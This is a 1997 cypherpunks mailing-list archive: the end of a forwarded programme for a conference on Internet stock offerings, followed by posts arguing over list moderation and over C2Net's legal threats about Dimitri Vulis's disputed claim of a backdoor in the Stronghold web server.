       8:30 REGULATORY CONSIDERATIONS ON INTERNET
       PUBLIC OFFERINGS
       This session will review the many regulatory and legislative
       issues involved in the development of Internet public
       offerings. In particular, how and why the regulatory bodies
       of the NASD, NASDAQ and the SEC are making a
       commitment to the Internet as a vehicle that serves the
       investor. Proper surveillance procedures have been created and
       executed to protect all parties. Internet initiatives have been
       developed to bridge the market side and regulatory side of
       these complex issues.
       Al Dandridge, Associate Director of Corporate Finance
       U.S. SECURITIES AND EXCHANGE COMMISSION

       Charles Bennett, Associate Director of Corporate Finance
       NASD

       9:30 INTERNET TRADING MARKET PROJECTIONS
       Internet trading is an emerging market wave that is poised for
       explosive growth. More than 60 million investors have
       brokerage accounts. The media reports that Internet brokerage
       accounts will jump from 1.5 million today to 9.3 million by
       the year 2001; Every bank will use the Internet to attract
       customers and deliver services in the next five years and
       electronic commerce will grow to $600 billion annually
       within the next 10 years. Visionaries believe that one of the
       most profound effects of these phenomena's will be to
       changehow small businesses get capitalized. They predict that
       small business public offerings will become routine for
       nano-cap companies.
       This session will present a strategic overview of the
       emergence of internet capabilities that make it possible for
       investors to invest in and trade nano-cap company stocks.
       Brad Smith, President
       WBS & A, Ltd.
       bradwsmith@aol.com

       11:00 GOING PUBLIC: HOW TO RAISE CAPITAL
       THROUGH A DIRECT PUBLIC OFFERING (DPO) This
       session will explore from concept to completion, how to
       perform all of the necessary functions to prepare and market a
       DPO and/or an Internet DPO. A case study will be shared of a
       DPO that will be presented to the investment community
       world-wide in early 1997. Learn from the experts the
       specifics on how to take your company where you want to go
       and ensure success including:
              Marketing through an investor relations firm
              Choosing an appropriate analyst
              Utilizing a transfer agent
              The link between broker and internet commerce
       David A. Levonian, President
       INTERNATIONAL INVESTOR RELATIONS
       http://iirwebtv.net

       1:00 OVERCOMING THE PITFALLS AND
       CHALLENGES OF GOING PUBLIC
       The advantages of "going public" appear straight forward. The
       company accesses the capital it needs to expand or refine its
       product. (In a purely coincidental occurrence, the current
       shareholder [including investment bankers, SEC lawyers and
       stock brokers] get rich.)
       There are numerous challenges in conquering the process of
       "going public" including:
              There are problems with the lawyers, accountants
              and the bankers and they are on YOUR SIDE
              There are pounds of paper forms which must be
              submitted to every group, not to mention the SEC.
              However, an approved offering does not make a
              successful offering. It still must be marketed,
              either by stock brokers OR MAYBE directly over
              the Internet. And not just to the U.S., but to the
              entire world.
              That may be the wave of the future. Direct access to
              securities and their offering companies over the
              Internet.
       Michael J. Waddell, President
       PROMARKETING, INC.
       Developer of the (http://www.freemarket.org) selected by
       PC Novice Guide to the Web as one of the Internet "Greatest
       Sites"

       2:00 IPONET: SELLING & ADVERTISING IPO'S ON THE
       INTERNET: THE CREATION OF THE FIRST
       PERMANENT SYNDICATE
       IPOnet is currently the only site on the Internet with
       clearance from the SEC to advertise and sell new security
       offerings online.
       IPOnet intends to have multiple Broker/Dealers listed on it's
       site.
       This will create the first permanent syndicate of
       Broker/Dealers.
       These Broker/Dealers will act as selected dealers for each
       others offerings and act as underwriters of their own
       offerings.
       This session will examine the following topics:
              Why the broker can not be eliminated from the
              offerings
              What really happens when an IPO is put on the
              Internet
              Why DPO's will never be a major threat to brokers
              Why a permanent syndicate will foster the creation
              of new offerings
       Leo J. Feldman, President
       IPONET
       http://www.e-iponet.com
       lfeldman@e-iponet.com

       3:30 THE IMPORTANCE OF TRADITIONAL
       EXCHANGES AS A SECONDARY MARKET
       Taking your company public via the Internet, rather than the
       traditional exchange, has become a very viable alternative for
       small business owners. However, unless the offering is
       backed by a complete marketing plan, it is unlikely that the
       offering will reap huge financial rewards and achieve success.
       Incorporating a traditional exchange as a secondary market
       into the plan can solidify, stabilize and extend the offering
       beyond the Internet marketplace and create longevity and
       security and financial return on your offering. This session
       will explore secondary markets and how traditional
       exchanges are advocating the collaborative efforts of
       traditional and web offerings.
       Iris Golden Brackett, Manager
       Listing Sales
       CHICAGO STOCK EXCHANGE

       4:30 Panel Discussion: PUBLIC OFFERINGS AND THE
       INTERNET: LEGAL CONSIDERATIONS
       Join three of the most influential Internet finance and
       securities attorneys for this highly interactive session. They
       will discuss the legal aspects associated with buying and
       selling securities on the Internet, including private
       placement, Regulation A offerings and independent public
       offerings. Come prepared to share your challenges and
       solutions!
       William D. Evers, Esq.
       MILLER, MAILLIARD & CULVER

       M. Greg Allio, Esq.
       SHARTSIS, FRIESE & GINSBERG

       John Perkins, Chairman
       THE SMALL BUSINESS CAPITAL ACCESS
       ASSOCIATION

       Charles Bennett, Associate Director of Corporate Finance
       NASD

       5:45 CLOSE OF DAY ONE

DAY TWO
March 20, 1997

       8:15 ELECTRONIC BULLETIN BOARDS FOR BID AND
       ASK OFFERS: THE EMERGENCE OF DIRECT STOCK
       MARKET
       The secondary market is the key to successful initial and direct
       public offerings. The traditional brokerage community has
       their hands tied when it comes to underwriting and making
       markets in small company issues. A new strata of corporate
       finance is being created by technological advances which
       marry capital requirements of entrepreneurs with risk/return
       and information demands of investors. This presentation will
       explore:
              Using the internet to raise capital for your company
              Secondary market trading on the Internet
              Virtual roadshows online
              Building your own public venture capital portfolio
              Investing in public venture funds
       Clay Womack, President
       DIRECT STOCK MARKET
       http://www.direct-stock-market.com

       9:15 EXPLOITING INTERNET TECHNOLOGY TO
       REACH A GLOBAL AUDIENCE
       The power of the Internet has unleashed the potential for new
       business expansion and financial opportunity in a global
       market. Foreign businesses can now join forces quickly to
       create products and services and offer them to a larger
       population than before. This session will examine how to
       cultivate these partnerships, foster growth and secure
       positive financial outcomes by:
              Using the Web to build your business and
              partnering with co-opitition
              Attracting "qualified" people to your site
              Exploring value-added opportunities in the
              financial market on the Internet
       Michael Withrow, Director
       POWERTRADER, INC.
       http://www.powertrader.axionet.com

       10:45 UNDERSTANDING THE COMPONENTS OF A
       STOCK TRANSFER
       Choosing a transfer agent with diversity of services allows
       your company to do more and retain extra added-value
       components and services. This session will take you
       step-by-step through the IPO process from working with
       attorneys through to the transfer work. Learn how to: How
       to judicate a stock transfer
       Outline the processes needed
       Develop the steps involved
       Anticipate the role of the Internet in stock transfers
       Sherri Herman, President
       THE HERMAN GROUP, INC.
       SMALL BUSINESS CAPITAL ACCESS ASSOCIATION

       1:00 INTERNET TRANSACTIONS FOR THE
       PORTFOLIO MANAGER
       This session will feature case studies and the future outlook
       on internet transactions for portfolio managers including:
              What is the Electronic/Internet Information
              System?
              -Office based and wireless
              -Text and video
              How is it used?
              -The two way information flows
              -Routine and custom information
              Specific needs and requirements for the portfolio
              manager and ways of customizing the information
              What are the advantages of the new system?
              Costs and tools of the system
              -Dollars
              -Technology
              -Savvy and advertising
       John Palicka, CFA, CMT
       Portfolio Manager
       GLOBAL EMERGING GROWTH

       2:30 INTERNET OPPORTUNITIES FOR PUBLIC
       COMPANIES
       This session will focus on opportunities available on the
       Internet to companies that are publicly traded. A presentation
       no senior executive should miss! This presentation will
       examine why public companies should consider the added
       profitability of the Internet and offer specific Internet
       strategies and risks including:
              Using the Internet to improve liquidity
              Build a stock analyst following using the Internet
              Dealing with Motley Fool's and other potential
              risks
       M. Greg Allio, Partner
       SHARTSIS FRIESE & GINSBERG

       3:30 CREATING AN ELECTRONIC STOCK EXCHANGE
       Exploiting IP-Understanding Internet Protocol (IP) - How
       to make your business grow ON-LINE by using the "best of"
       all available software
       Order Driven Systems- Understanding why market makers &
       specialists are a "necessary evil" we live with, and look at the
       functionality of SuperDot-type automation as opposed to
       Drop Copy
       A Virtual Branch Office- The growth of the independent
       brokerage industry, and a look at what will happen to the
       traditional registered representative
       Compliance/Supervision- How a small brokerage firm will
       supervise their representatives in the Internet age
       Ken Gruneisen, President & CEO, BEST EX, INC.
       THE BOCA RATON ELECTRONIC STOCK EXCHANGE

       5:30 END OF CONFERENCE


Post Conference Workshops
-------------------------
9:00am - 12:00pm The Impact of the World Wide Web on Individual
Investors and Electronic Stock Trading

1pm - 4pm
Building the partnership between Electronic Commerce and Raising
Capital1pm - 4pm
----------
The e$ lists are brought to you by:

Intertrader Ltd - Commerce Solutions in the UK
Visit <http://www.intertrader.com/> for details ...

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it!  See <http://www.shipwright.com/rah.html>
Or, for e$/e$pam sponsorship, see <http://www.shipwright.com/rah/>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 16 Feb 1997 23:28:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Offending Stronghold posts...
In-Reply-To: <v03020902af2d5ccf4be9@[139.167.130.246]>
Message-ID: <199702170718.HAA00390@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga <rah@shipwright.com> writes:
> Would someone (besides <spit!> Dr. Vulis of course, or my kill-file eat
> it...) please forward me the Stronghold article by Dimitri and all replies
> thereto, so I can at least see what the fuss was all about? I might as well
> include them in the e$pam feed for posterity.

My archive is patchy at the time, as I subscribed to cp and cp-flames,
and only switched to cp-unedited when it became apparent that I would
be missing some posts by not being on cp-unedited.

However, these are the posts that I have obtained from list members,
the posts from Tim were forwarded to me by Tim himself (on request --
he offered in a post to do so), Dimitri's post was forwarded to me by
Peter Hendrickson and confirmed by Toto, and Igor.  Tim declined to
confirm or deny when I forwarded him Dimitri's post due to the legal
threats.  I do think that this is Dimitri's original post.  You will
observe that the post it isn't flamish.

There are many, many other posts which go to confirm the list of
events.  There may be other replies, but this should keep you going.

[0] Dimitri
[1, 2, 3, 4] Tim's followups (forwarded to me by Tim)
[5] Tim on the legal threats

I would appreciate confirmations of which of the lists 

	cypherpunks@toad.com (moderated list)
	cypherpunks-unedited@toad.com
	cypherpunks-flames@toad.com

these 5 posts went to, and confirmations that others on
cypherpunks-unedited received them as quoted below.  

I would also be interested to know which lists my recent potted
history went to, this was the posting starting:

: Date: Sun, 16 Feb 1997 23:49:09 GMT
: From: Adam Back <aba@dcs.ex.ac.uk>
: To: cypherpunks@toad.com
: Subject: Moderation experiment and moderator liability
: 
: 
: There appears to be a bit of a hush up surrounding the circumstances
: of the pause in the moderation experiment and subsequent change of
: moderation policy.
...

Thanks,

Adam

[0]
======================================================================
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Security alert!!!
To: cypherpunks@toad.com
Date: Thu, 30 Jan 97 16:15:21 EST
Message-Id: <aw5c2D4w165w@bwalk.dm.com>

WARNING: There's a rogue trojan horse out there on the internet known as the
"stronghold web server".  It's actually a hacked-up version of Apache with a
backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
card numbers and other confidentil information on the Internet.

Be careful! Always use encryption. Do not send confidential information 9such
as passwords and credit card numbers) to any site running the trojan horse
"stronghold".

In general, beware of "snake oil" security products and hacked-up versions of
free software.

Please repost this warning to all relevant computer security forums.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

[1]
======================================================================
Date: Fri, 7 Feb 1997 13:46:39 -0800
To: Against Moderation <antimod@nym.alias.net>
From: "Timothy C. May" <tcmay@got.net>
Subject: Is Sandy really censoring criticisms of Stronghold, his product?
Cc: cypherpunks@toad.com

At 9:19 AM +0000 2/7/97, Against Moderation wrote:
>"Timothy C. May" <tcmay@got.net> writes:
>
>> Well, I only subscribe to the Flames list--there is no doubt about this.
>>
>> In any case, what is the meaning of a message going only to the "Unedited"
>> list?  A message that goes to the Unedited list but _not_ to the Flames
>> list must surely go to the Main list, right?
>>
>> That is,
>>
>> MAIN list + FLAMES list = UNEDITED list
>
>No, this is not the case.  At this point the unedited list does
>definitely get everything that gets mailed to cypherpunks.  However,
>Vulis did apparently send a couple of [obnoxious, flamey and blatantly
>untrue] posts about security holes in Stronghold.  Sandy deleted that
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>message and did not send to the mail or flames lists.
>
>Could have been an accident, or could be because Vulis and Sandy hate
>each other...


Whether true or not, it is not the role of Sandy the Censor to decide on
the truth of various claims in people's posts. Even by his own (vague and
changing) standards, deciding on the _truthfulness_ of articles was never
a criterion.

This is a serious charge. Can you send to the list, with a copy to me, the
articles which cited security holes in Stronghold?

Given that Sandy works for a company, Community Connection/C2NET, which
_sells_ Stronghold, it would be serious indeed if Sandy is using his role
as List.Censor to keep such articles from the main list, and even more
serious (much more serious), if Sandy is discarding such articles
completely.

Given the extremely serious implications of this charge, I would like to
see some evidence before believing it.

By the way, this again raises the issue of the danger of filtering out
posts merely because _somewhere_ in the post insulting words are used.
(Recall that my long essay was almost scrapped by Sandy, by his own
admission, because one small paragraph said unflattering things about some
people. Jeesh. Is this what Cypherpunks has become?)

It would be far better, and more honest (in a warped way), if Sandy were
to leave in the substantive sections of all posts and merely mark
offending sections as "***** C E N S O R E D *****." Then people could
read the various claims made in posts and still have the "naughty bits"
blacked out, so as not to offend their sensibilities. It's the honest way
to censor.

--Tim May

[2]
======================================================================
Date: Fri, 7 Feb 1997 13:59:23 -0800
To: cypherpunks@toad.com
From: "Timothy C. May" <tcmay@got.net>
Subject: More on the Stronghold Charge
Cc: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)

Vulis has sent me private mail, which I won't quote here because of the
usual netiquette standards that private mail not be quoted (though it's
legal to do so). He asserts that a few weeks ago he sent criticisms of
Stronghold out to the Cypherpunks list, and the criticisms did not appear
on any of the distributed lists.

He claims he then received communications from C2Net of a legal nature,
threatening him with legal action. I'll let Vulis elaborate if he wishes,
as I don't know the situation. And I encourage him to do so, for more than
one reason.

As I just replied to "Against Moderation" on, I would like to see these
articles which were suppressed. Please repost them to the list, and copy
me to ensure that I get them.

If this claim is true, that Sandy blocked criticism of Stronghold from
reaching either the Main list (bad enough), or from even going out at all
on the Flames list (reprehensible), then this is an extremely serious
charge.

If the claim is true that Sandy used articles sent to the Cypherpunks
list, but never distributed to the list, as the basis by the company which
employs him of legal threats of any kind, then this is even more than just
"extremely serious."

I would like to hear more from Vulis, and copies of any such articles, and
of course would like to hear Sandy's version of things.

This is too serious a charge not to resolve.

--Tim May

[3]
======================================================================
Date: Fri, 7 Feb 1997 15:03:02 -0800
To: Against Moderation <antimod@nym.alias.net>
From: "Timothy C. May" <tcmay@got.net>
Subject: Re: Is Sandy really censoring criticisms of Stronghold, his product?
Cc: cypherpunks@toad.com

At 10:07 PM +0000 2/7/97, Against Moderation wrote:
>Okay, I went through my old mail, and I'm fairly sure this is the
>message.  I'm convinced it never went to the flames list, and now that
>I've found out I'm on the -unedited list after all, I think it
>probably didn't go to the regular cypherpunks list either.  Can people
>on the various lists confirm this for me?

I checked the archive site (http://infinity.nus.sg/cypherpunks) for the
"main" (censored) list, and do not see it there, either by title or by
author.

I only recently subscribed to the Flames list, so I cannot check to see if
it went there. Anyone else check the Flames list?

As I said in my last messages, if this message went to neither the Main
list nor the Flames list, then a very serious problem has been exposed.

Further, if the post, while not being sent to either of the nominal lists
which filtered stuff is supposed to go to, was used as the basis of legal
threats by the employer of Sandy, the list's censor, then dramatically
more serious implications seem evident. I await Sandy's views with great
anticipation.

The message itself does not look flamish to me. It makes charges, but so
do a zillion other posts. It cannot be the job of a censor to decide on
what is true and what is not true.

>Given the total lack of technical content, the flamey nature of the

It's not "flamey." Nobody is called a cocksucker, nobody is called  a
faggot, etc. Yes, it claims a product has a trojan horse, but this is a
claim comparable to other claims routinely made on list and newsgroups.

I'm also neither stupid nor disingenuous. I realize full well that Vulis
probably made the claim because he knows Sandy works for the seller of
Stronghold. Be that as it may, it is not proper for a censor employed by
the seller of a product to decide that criticisms of his product are
flamish. Would the list have countenanced censorship of criticisms of an
RSADSI product if the list were being censored by an employee of RSADSI?
And by letting Vulis make such a claim, and then having it quickly
rebutted by other employees of C2Net, for example, Vulis would be shown to
be spreading disinformation and his reputation capital would decline still
further.

If in fact the Vulis claim never made it either of the two lists to which
all filtered messages are supposed to be sorted, then deception has
occurred. And a conflict of interest.

Again, I await Sandy's response.

>A lot of people out there are subscribing to the cypherpunks-flames
>and cypherpunks lists thinking that they will see everything that gets
>rejected (albeit with a substantial delay).  If this is not the case,
>it should be made clear.  Otherwise, it's not moderation, but
>dishonesty.

Indeed.

--Tim May

[4]
======================================================================
Date: Fri, 7 Feb 1997 21:46:10 -0800
To: Against Moderation <antimod@nym.alias.net>, cypherpunks@toad.com
From: "Timothy C. May" <tcmay@got.net>
Subject: Re: The Frightening Dangers of Moderation
Cc: hugh@toad.com

At 4:31 AM +0000 2/8/97, Against Moderation wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Well, folks, tonight I have witnessed the frightening dangers of
>moderation and censorship first-hand, and would like to tell you what
>has happened.  I think there is an important lesson to be learned from
>these incidents.

(long account of getting legal threats for quoting a message about
CENSORED elided)

This is indeed an important incident. I hope we can discuss it. Many
issues central to Cypherpunks are involved. To name a few:

* the moderation/censorship issue itself (though we have probably beaten
this one to death in the last few weeks).

* the "libel" issue, especially as it involves Sandy, his company, and the
machine the list is hosted from. The introduction of a censor has, as many
of us predicted, raised serious libel and liability issues. (This is the
best reason I can think of it to move to an "alt.cypherpunks" system,
where bypassing of liability, libel, copyright violation, etc.,  laws is
naturally handled by the globally decentralized and uncontrolled nature of
Usenet.)

* conflicts of interest issues. Apparently Sandy feels information
deleterious to C2Net, having to do with a claimed CENSORED in the software
product CENSORED, cannot be passed by him to _either_ of the two lists to
which articles are supposed to be sent. (Sadly, he did not tell us of this
meta-censorship when it happened. This made what he did deceptive as well
as wrong.)

* chilling of discussion. As "Against Moderation" notes, merely _quoting_
the article of another caused Sandy to not only reject his article, but
also to contact him and raise the threat of legal action. (This even
though Against Moderation added all sorts of "obviously false" comments to
what Vulis had written.)

* even more threats. At the request of CENSORED today, I called CENSORED
and had a verbal communication with him (a nice guy, by the way) about
this situation. He averred that "you don't want to be pulled into this,"
and suggested that if I post certain things, even quoting the reports that
a CENSORED exists in CENSORED, I could well be sued by the lawyers of his
company!

These are issues which remailers, decentralized servers, anonymity, data
havens, and other Cypherpunks technologies make important issues for us to
discuss.


When did Cypherpunks start thinking about libel? (Obvious answer: when
_their_ companies were the targets of criticism, lies, libel, whatever.)
It's not as if insulting or even "libelous" (I'm not a lawyer) comments
have not been made routinely on the list. Insulting companies and other
institutions has been standard Cypherpunks fare since the beginning.
Mykotronx has been accused of high crimes, RSADSI has been declared to be
placing backdoors in code, Phil Zimmermann has been declared to be an NSA
plant ("only trust the versions of PGP before he cut the deal to get his
freedom"), and so on. Think about it. Just about any company with any
product related to crypto has at one time or another had their motives
questioned, their products slammed, etc.

Unfortunately, our Late Censor is an employee of one of the companies so
slammed, and he has reacted by rejecting one or more of these slams
without bothering to tell the list that he has to do so. (Were it me, I
would have "recused" myself from the decision, or at least told the list
in general terms what was going on, or, more likely, resigned as censor.
But then I would never have been a list.censor in the first place.)

I understand that Sandy is stepping down as our Moderator. The Censor is
Dead, Long Live Sandy! I expect to harbor no continuing resentment toward
Sandy (though I expect things will be strained for a while, as might be
expected).

The issues raised are ugly ones. Here's what scares me: the "precedent"
may irretrievably be established that companies offended by words on the
list will threaten legal action to recover their good name. I can imagine
Mykotronx or even First Virtual citing the actions of C2Net as a precedent
(a cultural precedent, to the extent there is such a thing) for their own
legal letters.

As with the terrible precedent set by the "even Cypherpunks had to censor
themselves" experiment, these companies may be able to say "But even a
Cypherpunk-oriented company realized that the antidote for damaging speech
was not rebutting speech. No, these Cypherpunks realized that some
threatening letters and pulling the plug on the speaker was a better
approach."

And we won't be able to easily argue that Mykotronx has no right to do
this while C2Net does.

Sandy, in his message a few hours ago to Against Moderation, even made the
claim (and Sandy _is_ a lawyer, or at least once was) that John Gilmore
could be held liable for speech on the Cypherpunks list. (I don't doubt
the "could," but I hate like hell to see a Cypherpunkish company leading
the charge.)

Perhaps this is true. But the Censorship experiment, and the resulting
threats of legal action by C2Net to stop mention of the alleged CENSORED
in their product CENSORED, fuel the fire. Instead of denigrating such
legal moves--as I'm sure most Cypherpunks would have done a few years ago
if RSADSI were to try to sue people for making outrageous claims--we have
a major company consisting of several leading Cypherpunks making just such
threats.

I'm not a legal scholar, but is it really the case that merely _alluding_
to the allegedly libelous comments of another is itself a libel? Is a
reporter who writes that "Person X has alleged that Product Y has a Flaw
Z" thus committing a libel? (I don't think so, as reporters frequently
report such things. If merely quoting an alleged libel is also libel, then
presumably a lot of reporters, and even court clerks reporting on cases,
are libelers.)

(ObLisp reference: quoting an expression ought to have a different return
value than evaluating an expression! That's what quotes are for.)

My comments this past week have not been motivated by animosity toward
Sandy, and certainly my comments today are not motivated by any animosity
about C2Net or any of its employees (including CENSORED, whom I spoke with
today).

My comments started out as being a summary of why I had left Cypherpunks
when the Great Hijacking was announced. Since last Sunday, when I issued
my "Moderation" post, I've only responded to messages I was CC:ed on, or
to messages on the Flames list, which I subscribed to temporarily to
better see what Sandy was calling flames. The discovery that certain posts
were not appearing on either the Main list or the Flames list triggered
today's comments about Sandy and the alleged CENSOREDCENSOREDCENSORED
(blah blah blah).

I hope we can declare this Censorship experiment a failure and move on.
However,  it is almost certain that as a result of attempts to suppress
certain views, that the move back to an unfiltered state will mean that
some will use anonymous remailers and nym servers to post even _more_
claims, however outrageous.

This is a predictable effect. Cf. Psychology 101 for an explanation.
Kicking Vulis off the list predictably produced a flood of Vulis
workarounds, and a surge in insults via anonymous remailers. Instituting
censorship of the list triggered a flood of comments critical of the
experiment, and a predictable "testing" of the censorship limits. And,
finally, now that C2Net is threatening legal action to stop
discussion--even in quotes!!--of alleged CENSORED in CENSORED, expect a
lot of repetition of these claims via remailers. And, I predict, claims
about CENSORED will even be spread more widely, e.g., on the Usenet.

(Sadly, I half expect a letter from some lawyers or lawyer larvae saying I
am "suborning libel," or somesuch nonsense. As Sandy would say, "piffle."
Lawyers, take your best shot.)

======================================================================
Date: Sun, 16 Feb 1997 19:14:04 -0800
From: tcmay@got.net (Tim May)
To: cypherpunks@toad.com
Subject: Threats of Legal Action and C2Net/Stronghold Issue
Newsgroups: alt.cypherpunks,alt.privacy,comp.org.eff.talk
References: <tcmay-ya023180001202971203130001@news.znet.net> <5e2qqm$ahi$1@news.sas.ab.ca> <E5nqty.4rD@world.std.com>

(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks,  alt.privacy, comp.org.eff.talk)


At 6:07 PM -0800 2/16/97, Sandy Sandfort wrote:

>Curiously, in a subsequent telephone conversation, Tim May 
>proposed almost that exact suggestion as an alternative form of
>moderation that he said would have been acceptable to him.  Go
>figure.

The only phone conversation I had was with Doug Barnes, at the request of
Doug that I urgently phone either him or Sameer. I called Doug as soon as I
got the message. (Doug also said he was the only one in the room at the
time, and that the call was *not* being recorded, so I have to surmise that
Sandy got his version of things via a recap by Doug.)

 
>> 21. Tim received a warning from C2Net's lawyers that if he did not
>> desist from mentioning that Dimitri had posted an article criticising
>> a C2Net product that he would be sued!
>
>Absolutely false.
> 

What Doug told me was that Dimitri Vulis had already been served with a
legal notice about his warnings about a security flaw in Stronghold, and
that any repetition of Dimitri's claims by me or anyone else would result
in similar legal action.

Doug said that any repetition of the claims, even as part of a quote, would
be seen as actionable by C2Net. "We'll vigorously defend our rights." (as
best I can recall) He said he thought my messages, to the extent they
merely _alluded_ to the claims were probably OK and that they would
certainly go through to the list, as Sandy has already resigned from his
role as moderator.

(For the record, these messages DID NOT GO THROUGH, and have not gone
through as of tonight, 8-9 days later. However, I have forwarded them to
several people who requested them.)

(I also did not have a recorder running, so I can't claim this is a
verbatim summary of what was said. As to what I said about how the
moderation thing might have been done differently, Doug and I chatted for a
while about various alternatives. I raised the point I've made before, that
having a "members only" policy, with some special provision for some amount
of remailed messages, would probably best suit the notion of keeping the
"community" running. What I told Doug was that my main objection was having
Sandy sit in judgement to essays folks might have spent a long time
composing, and I cited physical parties, where a host invites those he
wants in attendance, but does not micromanage or screen conversations being
held at the party. My sense was that Doug agreed, and agreed that the whole
thing had been handled in a bad way...but Doug should comment to tell his
view of things.)

The next day, at the physical Cyperpunks meeting at Stanford, I briefly
talked to Greg Broiles, working as a legal aide at C2Net. I told Greg he
could "take his best shot," in terms of filing suit against me about my
messages, as I'm prepared to fight C2Net in court on this matter, and have
the financial resources to hire some pretty good lawyers. (I don't recall
if Greg replied, or what his reply was.)

In a message to Cypherpunks, I outlined my understanding of the Vulis
report on security flaws in Stronghold, and put the claims  in the context
of messages not appearing on either of the two main lists,  but none of my
messages were sent to either the Main list or the Flames list. 

(I also had communication with several members of the list, some known to
me and some only pseudonyms. I have taken the precaution of erasing these
messages and copying files to the disk on which they resided to head off
any attempts by C2Net seize my computer and disks as part of some
"discovery" process.)

I find it unfortunate that C2Net is behaving in such a manner, and their
actions are generating far more publicity about the claimed security flaws
in Stronghold than the original Vulis message ever would have generated. 

Sunlight is the best disinfectant, as a Supreme Court justice averred. And
suppression is a breeding ground for all sorts of bacteria, fungi, and ugly
growth, as a less articulate person said.

Reporters interested in this story have already contacted me. They're
interested in the situation surrounding the claims of a flaw. I told one
reporter I had no expertise in Stronghold, SSL, etc., and could not say,
but that I suspected strongly that the claim was made just as a "tweak" of
C2Net. 

"Truth is an absolute defence against libel claims."

(P.S. To repeat, I doubt there is a flaw in Stronghold, either introduced
by RSA (Republic of South Africa, of course) or by the NSA, or by C2Net, or
by anyone else. I said as much in my messages which never made it to the
list.)

--Tim May




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Mon, 17 Feb 1997 11:21:26 -0800 (PST)
To: Bill Stewart <cypherpunks@toad.com>
Subject: Re: Bad Headers Added to John Young postings via owner-cypherpunks@sirius.infonex.com
In-Reply-To: <3.0.1.32.19970216124146.00643a00@popd.ix.netcom.com>
Message-ID: <199702171601.JAA09201@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970216:1241 Bill Stewart <stewarts@ix.netcom.com> said:

+Hi!  The following headers are from a posting by John Young that looks
+like it was sent to cypherpunks@toad.com,
+forwarded to cypherpunks@sirius.infonex.com and/or
+cypherpunks@cyberpass.net, and has the Reply-To: header
+set to reply to cypherpunks@toad.com instead of to John Young.... It
+looks like the obvious implementation of cypherpunks-style mail header
+patching, but isn't quite right.....  Leads to people sending their
+John Young mailbot requests to cypherpunks@toad.com instead, as some
+well-known cypherpunks have mistakenly done recently :-)

    this is what Lance said he would do...  until toad.com shuts down, 
    you address all messages to cypherpunks@toad.com to avoid overlap.
    toad.com was never set up to show cypherpunks@road.com in the 
    "Reply-To: " field, but it should have been.

    mailing lists then have the "From: " field from the original sender,
    and the "Reply-To: " to the list.  Now, there are reasons some list
    operators do not change the reply field --usually in the hope any
    responders will not notice the list is not being copied....in just 
    turns into private mail.

    for the almost 20 years I been playing with mail lists of various 
    sorts starting with simple inbound scoop and explode to list, 
    Lance's convention has been the norm.

        attila gone...
 ___________________________________________________________attila_____
    "A man owns an ass; he can vote.  
    The ass dies; he cannot vote.  
    Who owns the vote?"
        --Benjamin Franklin
 _______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 17 Feb 1997 05:56:04 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: The Offending Stronghold posts...
Message-ID: <1.5.4.32.19970217134942.006fa6d4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Here're wee additions to your archive:

I subbed to cp-unedited from the first, so could compare the unedited 
messages with the edited. Some of mine(*) were edited, including a few
on the Stronghold topic. But to me that's not as big a deal as some want
to make of it.

For example, in response to Tim's request to repost DV's Stronghold ploy, 
I did so, and it was edited. Sandy sent me a courteous email stating that he 
was not forwarding the message. I answered that that was okay with me 
because I thought that DV was using the issue as a ploy to undermine 
Sandy. Hey, there were no legal or other threats made to me, darn it!

Another of my edited messages stated that there had been good discussion
on the unedited list about DV's Denial of Service attack on Cypherpunks.

Another noted that DV had been admirably successful in drawing others into
his fight -- in support and in opposition -- as part of his DoS.

Another questioned "Who's Censoring Who?" and offered the opinion that 
"censorship" rhetorically exaggerated Sandy's moderation. (I still believe 
that's the case.)

For what it's worth, I oppose moderation, but favor experimentation, in
the recognition that humans are near-endlessly adaptable and near-
uncontrollable no matter what control mechanisms are employed -- anarchy
is the norm whether advocated or not.

So, I think the moderation experiment was a success, in that it has led to an 
unexpectedly constructive reconfiguration of Cypherpunks -- and not the last, 
that's for sure -- and showed that any archy is wishful dreaming of tortured
hearts and minds and loins.

A one hand applause to Dr. V and archy-demolishers for vibrating the c'punks
house the way SATAN did bigger shoddy piles. Two hands to TCM for more 
memorable quaking of structure-bunkered c'punks and others.

-----

* I'll supply copies of messages cited if you like.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 17 Feb 1997 09:51:53 -0800 (PST)
To: John Young <rah@shipwright.com>
Subject: Re: The Offending Stronghold posts...
